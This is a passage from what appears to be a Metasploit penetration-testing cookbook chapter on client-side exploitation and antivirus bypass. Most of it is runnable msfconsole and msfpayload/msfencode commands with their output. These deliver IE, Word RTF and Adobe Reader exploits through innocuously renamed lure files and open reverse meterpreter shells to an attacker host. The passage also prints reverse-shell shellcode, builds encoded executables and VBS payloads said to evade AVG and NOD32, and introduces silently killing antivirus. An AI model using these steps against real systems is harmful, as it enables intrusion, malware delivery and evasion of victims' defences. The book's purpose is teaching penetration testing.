"text": "Client-side Exploitation and Antivirus Bypass\n86\nmsf exploit(ms11_003_ie_css_import) > exploit\n[*] Exploit running as background job.\n[*] Started reverse handler on 192.168.56.101:4444 \n[*] Using URL: http://0.0.0.0:8080/K9JqHoWjzyAPji\n[*] Local IP: http://192.168.56.101:8080/K9JqHoWjzyAPji\n[*] Server started.\nAs we can see, the exploit and payload have been set along with various parameters. \nAfter executing the exploit command, the module has generated a local link \nhttp://192.168.56.101:8080/K9JqHoWjzyAPji. This is the malicious link which \nhas to be transferred to the target in order to make him execute in his IE browser. The target \nbrowser will freeze completely and will consume a large part of the system resource. The \ntarget will be forced to shut down the browser. Let us monitor the activities on the msfconsole: \n[*] 192.168.56.1:52175 Received request for \"/K9JqHoWjzyAPji/\\xEE\\x80\\\nxA0\\xE1\\x81\\x9A\\xEE\\x80\\xA0\\xE1\\x81\\x9A\\xEE\\x80\\xA0\\xE1\\x81\\x9A\\xEE\\x80\\\nxA0\\xE1\\x81\\x9A\"\n[*] 192.168.56.1:52175 Sending \nwindows/browser/ms11_003_ie_css_import CSS\n[*] Sending stage (752128 bytes) to 192.168.56.1\n[*] Meterpreter session 1 opened (192.168.56.101:4444 -> \n192.168.56.1:52176) at 2011-11-15 13:18:17 +0530\n[*] Session ID 1 (192.168.56.101:4444 -> 192.168.56.1:52176) processing \nInitialAutoRunScript 'migrate -f'\n[*] Current server process: iexplore.exe (5164)\n[*] Spawning notepad.exe process to migrate to\n[+] Migrating to 5220\n[+] Successfully migrated to process\nUpon successful execution of the exploit in the target's browser, we have a session started in \nthe msfconsole, thus, opening shell connectivity. But there is something more that happens \nafter opening a session between msf and the target. The InitialAutoRunScript executes \na migrate –f command which migrates the payload from iexplore.exe to notepad.\nexe. This step is essential for a persistent connectivity. Even if the target user closes the \nbrowser, still the connection will be alive as we have migrated to another process.\n"
},
{
"page_number": 102,
"text": "Chapter 4\n87\nHow it works...\nLet us dig out this vulnerability for more information. Well, the reason for the vulnerability is \nexactly what its name says. When Microsoft's HTML engine (mshtml) parses an HTML page \nthat recursively imports the same CSS file multiple times, then it leads to a memory corruption \nand allows arbitrary code execution. Consider the following HTML code snippet.\n// html file \n\n \n// css file \n*{\n\t\n color:red;\n}\n@import url(\"css.css\");\n@import url(\"css.css\");\n@import url(\"css.css\");\n@import url(\"css.css\");\nThe same CSS file has been called four times. When mshtml parses this HTML page then \nit leads to a memory corruption. This exploit utilizes a combination of heap spraying and the \n.NET 2.0 mscorie.dll module to bypass DEP and ASLR. Due to over consumption of system \nresources, it finally crashes. Using this vulnerability the attacker gains the same user rights \nas the logged in user.\n"
},
{
"page_number": 103,
"text": "Client-side Exploitation and Antivirus Bypass\n88\nIn the preceding screenshot, you can see that the background consists of the IE instance in \nwhich the malicious link has been executed and the foreground image is of the Windows task \nmanager in which you can clearly see the over consumption of memory by the IE browser. \nAnother interesting thing to note in this task manager is the notepad.exe process. Even \nthough there is no running instance of notepad, still the task manager is showing this process. \nThe obvious reason for this is that we have migrated from iexplorer.exe to notepad.exe so this \nprocess is running in the background.\nThere's more...\nThere is a common error which we may encounter while using this exploit module. Let's have \na quick look at it and find out a relevant solution.\nMissing .NET CLR 2.0.50727\nYou may encounter an error \"Target machine does not have the .NET CLR 2.0.50727\" while \nusing this exploit module. Well, the reason for this error is not because .Net is missing. The \nmain reason for it is that Internet Explorer is not set as the default browser so the user agent \nis being abused to fetch an address from a non-ASLR region. This error can be overcome by \nsetting Internet Explorer as the default web browser.\nMicrosoft Word RTF stack buffer overflow\nIn the previous two recipes, we focused completely on browser-based exploits. Now in \nthis recipe, we will focus on another popular Windows tool called Microsoft Office. The \nRTF buffer overflow flaw exists in both 2010 and 2007 versions of the Office software pack. \nThis vulnerability exists in the handling of pfragments shape property within the Microsoft \nWord RTF parser. Let us understand this exploit in detail. I am assuming that we have already \ngained information about our target that it has Office pack installed on his system.\nGetting ready\nWe will start with launching the msfconsole. The exploit we will be using in this recipe can \nbe located at exploit/windows/fileformat/ms10_087_rtf_pfragments_bof. The \npayload we will be using is windows/meterpreter/reverse_tcp to get shell connectivity \nwith the target machine.\nHow to do it...\nThe working process will again be similar to what we have seen so far in previous recipes. \nWe will first set our exploit. Then, we will select a payload and then pass the relevant \nparameters for both in order to execute the exploit successfully. Let us perform these steps.\n"
},
{
"page_number": 104,
"text": "Chapter 4\n89\nmsf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof \n• \nmsf exploit(ms10_087_rtf_pfragments_bof) > set payload windows/\nmeterpreter/reverse_tcp\npayload => windows/meterpreter/reverse_tcp\nmsf exploit(ms10_087_rtf_pfragments_bof) > show options\nModule options (exploit/windows/fileformat/ms10_087_rtf_pfragments_bof):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n FILENAME msf.rtf yes The file name.\nPayload options (windows/meterpreter/reverse_tcp):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n EXITFUNC process yes Exit technique: seh..\n LHOST yes The listen address\n LPORT 4444 yes The listen port\nExploit target:\n Id Name\n -- ----\n 0 Automatic\nThe exploit contains a parameter FILENAME which contains information about the \nmalicious filename to be created. The default value is msf.rtf. Let us change it to \nsome less suspicious name. We will also set the value for LHOST which is the attacking \nmachine IP address. \nmsf exploit(ms10_087_rtf_pfragments_bof) > set FILENAME priceinfo.rtf\nFILENAME => priceinfo.rtf\nmsf exploit(ms10_087_rtf_pfragments_bof) > set LHOST 192.168.56.101\n"
},
{
"page_number": 105,
"text": "Client-side Exploitation and Antivirus Bypass\n90\nThe filename has been changed to priceinfo.rtf and the value of LHOST has been set to \n192.168.56.101. So we are all set to execute the exploit module now.\nmsf exploit(ms10_087_rtf_pfragments_bof) > exploit\n[*] Creating 'priceinfo.rtf' file ...\n[+] priceinfo.rtf stored at /root/.msf4/local/priceinfo.rtf\nMetasploit has created a malicious file for us which we will have to use in order to proceed \nwith the client-side attack. The file is located at /root/.msf4/local/priceinfo.rtf. \nNow the next step is to send this file to the target user either through a mail or through some \nother medium. Once the target user executes this malicious file, we will notice that it will open \nas a word document. After few seconds of execution, the Microsoft Word instance will either \nhang or crash depending upon the system. In the meantime, the malicious file successfully \nexecutes the exploit and provides an active session with the target. In order to make the \nconnection persistent, the exploit migrates itself to some other process which will run \nin the background.\n Sending stage (752128 bytes) to 192.168.56.1\n[*] Meterpreter session 2 opened (192.168.56.101:4444 -> \n192.168.56.1:57031) at 2011-11-13 23:16:20 +0530\n[*] Session ID 2 (192.168.56.101:4444 -> 192.168.56.1:57031) processing \nInitialAutoRunScript 'migrate -f'\n[*] Current server process: WINWORD.EXE (5820)\n[*] Spawning notepad.exe process to migrate to\n[+] Migrating to 5556\n[+] Successfully migrated to process\nThe first few lines of the command line shows a successful execution of the exploit which \nresults in an active session with SESSION ID = 2. The last part of the command line \nshows that the exploit has successfully migrated from WINWORD.EXE to notepad.exe.\nHow it works...\nThe exploit module simply creates a malicious word file that passes illegal values to the word \nparser. The failure of parser in recognizing the illegal values leads to a buffer overflow in it. \nThen the payload comes into action which executes the code to set up a back connection with \nthe attacking machine. The success of this attack varies from machine to machine as there \ncan be situations when Windows ASLR (Address Space Layout Randomization) can prevent \nexecution of an arbitrary code (payload).\n"
},
{
"page_number": 106,
"text": "Chapter 4\n91\nThere's more...\nThere is another popular exploit available for the Office suite. I will leave it as a lesson for you \nto practically try it. Here I will give a brief overview about it.\nMicrosoft Excel 2007 buffer overflow\nThis known exploit targets the Microsoft Excel tool (.xlb) for version 2007. Execution of a \nmalicious .xlb file can lead to a stack-based buffer overflow and lead to an arbitrary code \nexecution. The exploit can be located at exploit/windows/fileformat/ms11_021_\nxlb_bof.\nAdobe Reader util.printf() buffer overflow\nPDF is one of the most widely used formats for sharing files and documents. So, using it as \na potential weapon to exploit the target machine can be a fruitful idea. Adobe Reader is the \nmost popular PDF file reader tool. The exploit we will discuss here is a vulnerability existing in \nAdobe Reader prior to versions 8.1.3. The exploit works by creating a malicious PDF file which, \nwhen opened in vulnerable versions of Adobe Reader, causes a buffer overflow and allows an \narbitrary code execution.\nGetting ready\nThe exploit process is very similar to those we have discussed so far in this chapter. Almost all \nclient-side attacks work in a similar manner in which we first generate a malicious file/link and \nthen somehow ask the target user to execute it on his/her machine. So a client-side attack \ninvolves Social Engineering as well. Let us move on to this exploit. Here, our target machine \nis Windows XP SP3 running Adobe Reader version 8.1.\nWe will start with launching our msfconsole and use the module exploit/windows/\nfileformat/adobe_utilprintf and payload module as windows/meterpreter/\nreverse_tcp.\nHow to do it...\nWe will start with selecting the exploit and setting it a active. Then, we will set the payload. After \nselecting the exploit and the payload, our next step will be to pass the various parameter values \nrequired to execute it. So, let us move ahead to perform these steps over the msfconsole.\nmsf > use exploit/windows/fileformat/adobe_utilprintf \nmsf exploit(adobe_utilprintf) > set payload windows/meterpreter/reverse_\ntcp\npayload => windows/meterpreter/reverse_tcp\n"
},
{
"page_number": 107,
"text": "Client-side Exploitation and Antivirus Bypass\n92\nmsf exploit(adobe_utilprintf) > show options\nModule options (exploit/windows/fileformat/adobe_utilprintf):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n FILENAME msf.pdf yes The file name.\nPayload options (windows/meterpreter/reverse_tcp):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n EXITFUNC process yes Exit technique: seh..\n LHOST yes The listen address\n LPORT 4444 yes The listen port\nExploit target:\n Id Name\n -- ----\n 0 Adobe Reader v8.1.2 (Windows XP SP3 English)\nAs you can see, the target version of Adobe Reader is listed as 8.1.2 and the operating system \nis mentioned as Windows XP SP3. So, the success of this exploit will greatly depend on the \nversion or Adobe Reader and operating system used by the target. \nThe exploit module contains a parameter FILENAME with a default value. This parameter \ndecides the name of the malicious PDF file that will be created. Let us change its value to \nsomething less suspicious. Also we will have to pass the IP address of the local machine in \nLHOST parameter.\nmsf exploit(adobe_utilprintf) > set FILENAME progressreport.pdf\nFILENAME => progressreprt.pdf\nmsf exploit(adobe_utilprintf) > set LHOST 192.168.56.101\nLHOST => 192.168.56.101\n"
},
{
"page_number": 108,
"text": "Chapter 4\n93\nNow we are all set to execute the exploit command and generate the malicious PDF file which \nwill be used in our client-side attacks.\nmsf exploit(adobe_utilprintf) > exploit\n[*] Creating 'progressreport.pdf' file...\n[+] progressreport.pdf stored at /root/.msf4/local/progressreport.pdf\nFinally, a malicious PDF file named progressreport.pdf has been created and stored in \nthe /root/.msf4/local folder.\nThis time we will adopt a slightly different approach to start a listener for reverse connection. \nSuppose a situation comes when you have to suddenly close your msfconsole. What about \nthe exploit then? Do we have to create the malicious PDF again? The answer is No. There is \na special listener module present in Metasploit which can be used to start a listener on your \nmsfconsole so that you can resume with your penetration testing process using the same \nfiles/links that you generated for the client-side attack. Consider a scenario where we have \ngenerated the malicious PDF file but not yet used it for client-side attack. So let us start the \nmsfconsole again and use the exploit/multi/handler module to set up a listener for the \nreverse connection.\nmsf > use exploit/multi/handler \nmsf exploit(handler) > show options\nModule options (exploit/multi/handler):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\nExploit target:\n Id Name\n -- ----\n 0 Wildcard Target\nmsf exploit(handler) > set payload windows/meterpreter/reverse_tcp\n"
},
{
"page_number": 109,
"text": "Client-side Exploitation and Antivirus Bypass\n94\npayload => windows/meterpreter/reverse_tcp\nmsf exploit(handler) > show options\nModule options (exploit/multi/handler):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\nPayload options (windows/meterpreter/reverse_tcp):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n EXITFUNC process yes Exit technique: she..\n LHOST yes The listen address\n LPORT 4444 yes The listen port\nExploit target:\n Id Name\n -- ----\n 0 Wildcard Target\nmsf exploit(handler) > set LHOST 192.168.56.101\nLHOST => 192.168.56.101\nAs you can see, we have set up the module multi/handler and then we also added a \npayload to it. The next step is to add an LHOST and LPORT depending upon the usage. We \nalso have an additional option to run additional scripts along with the multi/handler module. \nWe will discuss it later in the next chapter. The final step is to execute the exploit command \nand start the listener. \nmsf exploit(handler) > exploit\n[*] Started reverse handler on 192.168.56.101:4444\n"
},
{
"page_number": 110,
"text": "Chapter 4\n95\nSo our reverse handler is up and running. Now it is ready to receive back the connection once \nthe malicious PDF is executed on the target machine.\nOnce the PDF is executed on the client machine, it completely freezes and the Adobe Reader \nhangs completely, leading to denial of service. The reason for this crash is due to the buffer \noverflow caused by the malicious PDF file. On the attacker side, you will see that a meterpreter \nsession has been started and now the target machine can be handled remotely.\n[*] Started reverse handler on 192.168.56.101:4444 \n[*] Starting the payload handler...\n[*] Sending stage (752128 bytes) to 192.168.56.102\n[*] Meterpreter session 1 opened (192.168.56.101:4444 -> \n192.168.56.102:1035) at 2011-11-25 12:29:36 +0530\nmeterpreter > shell\nProcess 1880 created.\nChannel 1 created.\nMicrosoft Windows XP SP3\n(C) Copyright 1985-2001 Microsoft Corp.\nE:\\>\nHow it works...\nThis problem was identified in the way vulnerable versions of Adobe Reader implement the \nJavaScript util.printf() function. The function first converts the argument it receives to a \nString, using only the first 16 digits of the argument and padding the rest with a fixed value of \"0\" \n(0x30). By passing an overly long and properly formatted command to the function, it is possible \nto overwrite the program's memory and control its execution flow. The Metasploit module \ncreates a specifically crafted PDF file that embeds JavaScript code to manipulate the program's \nmemory allocation pattern and trigger the vulnerability. This can allow an attacker to execute the \narbitrary code with the privileges of a user running the Adobe Reader application.\nConsider the following two lines of JavaScript embedded in a PDF:\nvar num = 1.2\nutil.printf(\"%5000f\",num)\nThese two simple JavaScript lines cause the byte 0x20 to be copied 5000 times on the stack. \nThis allows you to take control of the exception handler, and also to trigger an exception when \ntrying to write in the section that comes after the stack.\n"
},
{
"page_number": 111,
"text": "Client-side Exploitation and Antivirus Bypass\n96\nGenerating binary and shellcode from \nmsfpayload\nSo far, we have discussed many techniques that can be used for penetrating the target \nmachine using the client-side attacks. All those techniques involved exploiting vulnerability \nin the various pieces of application software that run on the client machine. But, there can \nbe a scenario when the previously discussed techniques may not work. These attacks leave \nus to the mercy of the vulnerable application software which we will have to exploit in order \nto gain access.\nMetasploit provides us with another feature in which we can execute a client-side attack \nwithout worrying about exploiting the application software running on the target machine. \nmsfpayload is the solution for it. Let us give a quick introduction to msfpayload and move \nahead with our recipe to practically implement it.\nmsfpayload is a command-line instance of Metasploit that is used to generate various \nfile types of shellcodes available in the Metasploit repository. The various file type options \navailable are C, Ruby, Raw, Exe, Dll, VBA, and War. We can convert any Metasploit shellcode \ninto one of these mentioned file formats using msfpayload. Then, it can be transferred to \nthe target for execution. Once the file is executed on the target machine, we will get an active \nsession. This reduces the overhead of exploiting any vulnerability existing in the application \nsoftware running on the target machine. The other major benefit of msfpayload is that it can \nbe used to generate customized shellcodes in specific programming languages such as C, \nRuby, and so on which can be used in your own exploit development code.\nA major drawback of using msfpayload is that the files generated using it can be easily \ndetected by antivirus programs when the target tries to execute it. Let us move ahead with \nthe recipe and feel the power that msfpayload can add to our penetration testing process. \nGetting ready\nLet us begin experimenting with msfpayload. We will start with launching the BackTrack \nterminal. We can start with the command msfpayload –h to view the description of its usage.\n root@bt:~# msfpayload -h\n Usage: /opt/framework3/msf3/msfpayload [] \n[var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar>\nTo view the available list of shellcodes, we can use the msfpayload –l command. You will \nfind a huge list of available shellcodes at our disposal.\n"
},
{
"page_number": 112,
"text": "Chapter 4\n97\nHow to do it...\nLet us proceed to see how we can generate a specific customized shellcode in C language. \nWe will be using windows/shell/reverse_tcp payload to generate its shellcode in C \nlanguage. We will first choose our respective payload shell and pass various parameter values.\nroot@bt:~# msfpayload windows/shell/reverse_tcp o\n Name: Windows Command Shell, Reverse TCP Stager\n Module: payload/windows/shell/reverse_tcp\n Version: 10394, 11421\n Platform: Windows\n Arch: x86\nNeeds Admin: No\n Total size: 290\n Rank: Normal \nBasic options:\nName Current Setting Required Description\n---- --------------- -------- -----------\nEXITFUNC process yes Exit technique: seh..\nLHOST yes The listen address\nLPORT 4444 yes The listen port\nNotice the little o parameter in the command line the various parameter options \nof the shellcode payload are listed. We will have to pass the values in order to generate \na customized shellcode for our use. \nroot@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 \nLPORT=4441 o\nSo we have set up the LHOST and LPORT according to our need. The next step will be to \ngenerate a C code for our customized shell (the displayed output has been shortened to fit)\nroot@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 \nLPORT=4441 C\n/*\n * windows/shell/reverse_tcp - 290 bytes (stage 1)\n * http://www.metasploit.com\n"
},
{
"page_number": 113,
"text": "Client-side Exploitation and Antivirus Bypass\n98\n * VERBOSE=false, LHOST=192.168.56.101, LPORT=4441, \n * ReverseConnectRetries=5, EXITFUNC=process, \n * InitialAutoRunScript=, AutoRunScript=\n */\nunsigned char buf[] = \n\"\\xfc\\xe8\\x89\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xd2\\x64\\x8b\\x52\\x30\"\n\"\\x8b\\x52\\x0c\\x8b\\x52\\x14\\x8b\\x72\\x28\\x0f\\xb7\\x4a\\x26\\x31\\xff\"\n\"\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\xc1\\xcf\\x0d\\x01\\xc7\\xe2\"\n\"\\xf0\\x52\\x57\\x8b\\x52\\x10\\x8b\\x42\\x3c\\x01\\xd0\\x8b\\x40\\x78\\x85\"\n\"\\xc0\\x74\\x4a\\x01\\xd0\\x50\\x8b\\x48\\x18\\x8b\\x58\\x20\\x01\\xd3\\xe3\"\n\"\\x3c\\x49\\x8b\\x34\\x8b\\x01\\xd6\\x31\\xff\\x31\\xc0\\xac\\xc1\\xcf\\x0d\"\n\"\\x01\\xc7\\x38\\xe0\\x75\\xf4\\x03\\x7d\\xf8\\x3b\\x7d\\x24\\x75\\xe2\\x58\"\n\"\\x8b\\x58\\x24\\x01\\xd3\\x66\\x8b\\x0c\\x4b\\x8b\\x58\\x1c\\x01\\xd3\\x8b\"\n\"\\x04\\x8b\\x01\\xd0\\x89\\x44\\x24\\x24\\x5b\\x5b\\x61\\x59\\x5a\\x51\\xff\"\n\"\\xe0\\x58\\x5f\\x5a\\x8b\\x12\\xeb\\x86\\x5d\\x68\\x33\\x32\\x00\\x00\\x68\"\n\"\\x77\\x73\\x32\\x5f\\x54\\x68\\x4c\\x77\\x26\\x07\\xff\\xd5\\xb8\\x90\\x01\"\nNotice the capital C parameter in the command line. You will notice a complete shellcode in C \nlanguage which we can use in our own exploit development code. Alternatively, we also have \nthe option to generate codes in Ruby and Perl language. \nLet us proceed to the next step of generating a binary executable for the shellcode which can \nbe used in our client-side attack.\nroot@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 X > \n.local/setup.exe\nCreated by msfpayload (http://www.metasploit.com).\nPayload: windows/shell/reverse_tcp\n Length: 290\nOptions: {\"LHOST\"=>\"192.168.56.101\"}\nNotice the various parameters that we have passed in the command-line. We have used the X \nparameter to generate an exe file type and the file has been generated in the folder .local \nwith the name setup.exe. This generated exe can now be used in our client-side attack.\nHow it works...\nNow that our executable is ready, we will have to set up a listener in our msfconsole to listen \nfor a back connection when the target executes this exe file.\n"
},
{
"page_number": 114,
"text": "Chapter 4\n99\nmsf > use multi/handler\nmsf exploit(handler) > set payload windows/shell/reverse_tcp\npayload => windows/shell/reverse_tcp\nmsf exploit(handler) > set LHOST 192.168.46.101\nmsf exploit(handler) > exploit\n[-] Handler failed to bind to 192.168.46.101:4444\n[*] Started reverse handler on 0.0.0.0:4444\n[*] Starting the payload handler\nNotice that we used the same payload and passed the same parameter values which we used \nwhile generating the executable. Now our listener is ready to receive a reverse connection. \nOnce the target user (running Windows prior to Windows 7) executes the malicious exe, \nwe will get a shell connectivity.\nBypassing client-side antivirus protection \nusing msfencode\nIn the previous recipe, we focused on how to generate an executable shellcode and use it as \na weapon for a client-side attack. But, such executables are easily detectable by the client-\nside antivirus protection which can prevent execution of such malicious files and raise alarms \nas well. So what can we do now? We will have to move to the next level of attack vector by \nbypassing the antivirus protection. Encoding the executables is an effective technique.\nAntivirus uses a signature-based technique in which they identify a potential threat by verifying \nthe file's first few lines of code with their signature database. If a match is found, then the file \nis treated as a threat. We will have to exploit this technique of antiviruses in order to bypass \nthem. msfencode is an effective tool which encodes the shellcodes and makes them less \ndetectable to antiviruses. There are numerous encoding options provided to us \nby msfencode.\nThere is an important thing to keep in mind before starting this recipe. The success of this \nrecipe depends on two factors: the type of shellcode used and the type of antivirus running on \nthe target machine. This recipe involves a lot of experimentation to check which shell to use \nand what type of encoding can be used to bypass a particular type of antivirus. Here, we have \ntwo targets. One is running Windows XP SP2 with AVG 10 (free version) running on it and the \nother is a Windows 7 Ultimate machine running ESET NOD32 (full and updated version). First, \nwe will discuss a simple technique that can bypass old and un-updated antivirus, but can be \ndetected by the latest versions of it. Then, we will discuss another technique which currently \nbypasses any antivirus available to date.\n"
},
{
"page_number": 115,
"text": "Client-side Exploitation and Antivirus Bypass\n100\nGetting ready\nmsfencode is generally pipelined with the msfpayload command to encode the shellcode \ngenerated by it. This reduces our working steps. Let us get started with msfencode first. \nExecuting the msfencode –h command lists various parameters available to us, and \nmsfencode –l lists the various encoding styles. Let us have a look at each of them:\nroot@bt:~# msfencode -l\nFramework Encoders\n==================\n Name Rank Description\n ---- ---- -----------\n cmd/generic_sh good Generic Shell Variable \nSubstitution Command Encoder\n cmd/ifs low Generic ${IFS} Substitution \nCommand Encoder\n cmd/printf_php_mq manual printf(1) via PHP magic_quotes \nUtility Command Encoder\n generic/none normal The \"none\" Encoder\n mipsbe/longxor normal XOR Encoder\n mipsle/longxor normal XOR Encoder\n php/base64 great PHP Base64 encoder\n ppc/longxor normal PPC LongXOR Encoder\n ppc/longxor_tag normal PPC LongXOR Encoder\n sparc/longxor_tag normal SPARC DWORD XOR Encoder\n x64/xor normal XOR Encoder\n x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase \nEncoder\n x86/alpha_upper low Alpha2 Alphanumeric Uppercase \nEncoder\n x86/avoid_utf8_tolower manual Avoid UTF8/tolower\n x86/call4_dword_xor normal Call+4 Dword XOR Encoder\n x86/context_cpuid manual CPUID-based Context Keyed Payload \nEncoder\n x86/context_stat manual stat(2)-based Context Keyed \nPayload Encoder\n x86/context_time manual time(2)-based Context Keyed \nPayload Encoder\n x86/countdown normal Single-byte XOR Countdown Encoder\n x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword \n"
},
{
"page_number": 116,
"text": "Chapter 4\n101\nXOR Encoder\n x86/jmp_call_additive normal Jump/Call XOR Additive Feedback \nEncoder\n x86/nonalpha low Non-Alpha Encoder\n x86/nonupper low Non-Upper Encoder\n x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback \nEncoder\n x86/single_static_bit manual Single Static Bit\n x86/unicode_mixed manual Alpha2 Alphanumeric Unicode \nMixedcase Encoder\n x86/unicode_upper manual Alpha2 Alphanumeric Unicode \nUppercase Encoder\nThere are lots of different encoders available with the framework and each uses \ndifferent techniques to obfuscate the shellcode. The shikata_ga_nai encoding technique \nimplements a polymorphic XOR additive feedback encoder. The decoder stub is generated \nbased on dynamic instruction substitution and dynamic block ordering. Registers are also \nselected dynamically. \nHow to do it...\nI have divided this recipe into three different cases to give a better understanding of how \nwe can dig deeper into this useful tool and develop our own logic.\nCase 1: We will start with encoding a simple shell. Both the msfpayload and msfencode \ncommands will be pipelined together.\nroot@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 R | \nmsfencode -e cmd/generic_sh -c 2 -t exe > .local/encoded.exe\n[*] cmd/generic_sh succeeded with size 290 (iteration=1)\n[*] cmd/generic_sh succeeded with size 290 (iteration=2)\nLet us understand the command line. We used the windows/shell/reverse_tcp shell \nand generated a raw file type using the R parameter. Then, we pipelined the msfencode \ncommand. The –e parameter is used to determine the encoding style which is cmd/\ngeneric_sh in our case. The –c parameter represents the number of iterations and the –t \nparameter represents the file type to be created after encoding. Finally, the file will be created \nin .local folder with encoded.exe as the filename. When the encoded.exe file is used \nfor the client-side attack on our two targets, then it is easily identified as a threat by both \nWindows XP(with AVG 10) and Windows 7(with NOD32). It may have provided us with shell \nconnectivity, but the activity was blocked by the antivirus.\n"
},
{
"page_number": 117,
"text": "Client-side Exploitation and Antivirus Bypass\n102\nCase 2: Now we will increase the complexity of this encoding by adding a default windows exe \ntemplate to the shell and also by increasing the number of iterations for encoding. Default \ntemplates will help us in creating a less suspicious file by binding the shellcode with one \nof the default Windows executables like calc.exe or cmd.exe. The Windows templates \nare available in the folder /opt/framework3/msf3/lib/msf/util/../../../data/\ntemplates.\nYou can create a template by copying any default Windows executable in this folder and \nthen use it as a template. In this recipe, I have copied cmd.exe into this folder to use it \nas a template for my shell. So what will our command line look like in this case?\nroot@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 \nR | msfencode -e x86/shikata_ga_nai -c 20 -t exe -x cmd.exe> .local/\ncmdencoded.exe\nThe only extra parameter in this case is –x which is used for specifying an alternate \nexecutable template. We have used cmd.exe as the template which is the default \nwindows executable for the command prompt. Also we have changed the encoding style \nto shikata_ga_nai which ranks as \"Excellent\" in msfencode. The number of iterations \nhas also been increased to 20 in this case. The executable created in this case appears \nlike a cmd.exe executable (because of the template) and it easily bypasses the client-side \nantivirus protection of the Windows XP target which is running AVG 10 antivirus. Unfortunately, \nit was detected as a threat on our Windows 7 target running the latest version of NOD32. \nSo, it can be used to bypass the older versions of antiviruses running on Windows machines. \nThe second problem, with this technique, is that it fails to launch a shell on Windows 7/\nServer 2008 machines even if they have older antivirus protection. The shellcode crashes on \nexecution (because of the template) and even though it bypasses the antivirus, still it fails to \nlaunch a shell on newer versions of Windows. \nCase 3: This case will overcome the shortcomings that we faced in Case 2. In this case, we \nwill generate a client-side script instead of an executable file. The well-known client-side script \nfor the Windows platform is visual basic script (.vbs). This technique can be used to bypass \nany antivirus known to date running on the latest versions of Windows. The reason that VB \nscripts make a potential weapon to bypass the antivirus is that they are never treated as a \nthreat by antivirus programs and this is the reason why their signatures never match with the \nVB script file. Let us create a malicious VB script using msfpayload and msfencode.\nroot@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 r | \nmsfencode -e x86/shikata_ga_nai -c 20 -t vbs > .local/cmdtest2.vbs\n[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)\n[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)\n"
},
{
"page_number": 118,
"text": "Chapter 4\n103\n[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)\n.\n.\n.\n.\n[*] x86/shikata_ga_nai succeeded with size 803 (iteration=19)\n[*] x86/shikata_ga_nai succeeded with size 830 (iteration=20)\nNotice the slight changes in the command line. The only change is that exe has been \nreplaced by VBS, and we have not used any templates in order to prevent any crashes \nduring client-side execution. This technique can help us bypass the antivirus protection \nof both our targets and provide us shell connectivity. We can set up a listener using the \nmulti/handler module (discussed in the previous recipe) and wait for a back connection \nwith the targets once they execute the script. \nAs you might have noticed by now, this recipe is purely based on trying out different \ncombinations of payloads and encoders. The more you try out different combinations, \nthe greater will be your chances of getting success. There are many things to explore \nin msfpayload and msfencode, so I would encourage you to actively try out different \nexperiments and discover your own ways of bypassing the antivirus protection.\nHow it works...\nEncoders are primarily used to obfuscate the shellcode script into a form that cannot be \nrecognized by antiviruses. The shikata_ga_nai encoder uses polymorphic XOR technique \nin which the encoder uses dynamically generated gats as encoders. The reason which makes \nshikata_ga_nai popular is that it uses a self-decoding technique. Self-decryption means \nthe software decrypts a part of itself at runtime. Ideally, the software just contains a decryptor \nstub and the encrypted code. Iterations further complicate the encoding process by using \nthe same operation over and over again to make the shellcode look completely alien \nto antiviruses.\nThere's more...\nLet us find a quick way of testing a payload against different anti-virus vendors and find out \nwhich of them detect our encoded payload.\n"
},
{
"page_number": 119,
"text": "Client-side Exploitation and Antivirus Bypass\n104\nQuick multiple scanning with VirusTotal\nVirusTotal is an online website cum utility tool that can scan your file against multiple antivirus \nvendors to figure out how many of them are detecting it as a threat. You can scan your \nencoded payload against virus total to find whether it is raising an alarm in any of the antivirus \nproducts or not. This can help you in quickly figuring out whether your encoded payload will be \neffective in the field or not.\nVirusTotal can be browsed from http://www.virustotal.com. It will ask you to upload \nthe file you wish to scan against multiple antivirus products. Once the scanning is complete, \nit will return the test results. \nUsing the killav.rb script to disable antivirus \nprograms\nIn the previous recipe, we focused on various techniques that can be implemented to bypass \nthe client-side antivirus protection and open an active session. Well, the story doesn't \nend here. What if we want to download files from the target system, or install a keylogger, \nand so on. Such activities can raise an alarm in the antivirus. So, once we have gained an \nactive session, our next target should be to kill the antivirus protection silently. This recipe \nis all about de-activating them. Killing antivirus is essential in order to keep our activities \nundetected on the target machine.\nIn this recipe, we will be using some of the meterpreter scripts available to us during an active \nsession. We have an entire chapter dedicated to meterpreter scripts so here I will just give a \nquick introduction to meterpreter scripts and some useful meterpreter commands. We will be \nanalyzing meterpreter in great detail in our next chapter.\n"
},
{
"page_number": 120,
